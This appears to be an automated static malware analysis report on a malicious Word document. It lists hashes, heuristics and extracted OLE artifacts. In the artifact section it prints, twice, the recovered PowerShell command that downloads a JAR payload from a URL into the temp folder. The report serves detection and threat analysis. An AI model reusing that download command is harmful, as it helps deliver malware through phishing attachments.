Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6f50f59d3081396a…

MALICIOUS

Office (OOXML)

26.1 KB Created: 2021-05-26 21:12:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 3d460d974637a17aca1404f34e7372be SHA-1: ffd2ff8f2fef7c98fab6e0dd494ae20eba3dba69 SHA-256: 6f50f59d3081396a37fbf21c333159eb85de593d909eb604af23bbec584c3202
84 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing an embedded OLE object. Heuristics indicate this object is suspicious and contains shellcode, with a specific URL identified for downloading a payload. The embedded OLE object likely attempts to download and execute the 'RC4_Gui.jar' file from the specified URL, indicating a multi-stage attack.

Heuristics 4

  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.1.100/Down/RC4_Gui.jar In document text (OOXML body / shared strings)
    • http://192.168.1.100/Down/RC4_Gui.jar\In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 46592 bytes
SHA-256: 78b4939c6fe8f35bc46a4cb077a4742348433b5d5495ba24c6acb5e60face531
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://192.168.1.100/Down/RC4_Gui.jar\ Static shellcode analysis recovered command string(s): cmd|'/c powershell -executionpolicy -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://192.168.1.100/Down/RC4_Gui.jar\" ,\" %tmp%\\UOy1dk.jar\")
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 43787 bytes
SHA-256: 44eb9bade448ebbd2a50c1b2e56e9f284c62ab6ef0f66412dcca6f7f05bcd241
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://192.168.1.100/Down/RC4_Gui.jar\ Static shellcode analysis recovered command string(s): cmd|'/c powershell -executionpolicy -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://192.168.1.100/Down/RC4_Gui.jar\" ,\" %tmp%\\UOy1dk.jar\")
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 4980 bytes
SHA-256: e57d7b9487fd4e7d9431694d9903ace9adbbebe170051b25a9d762e58edfd482

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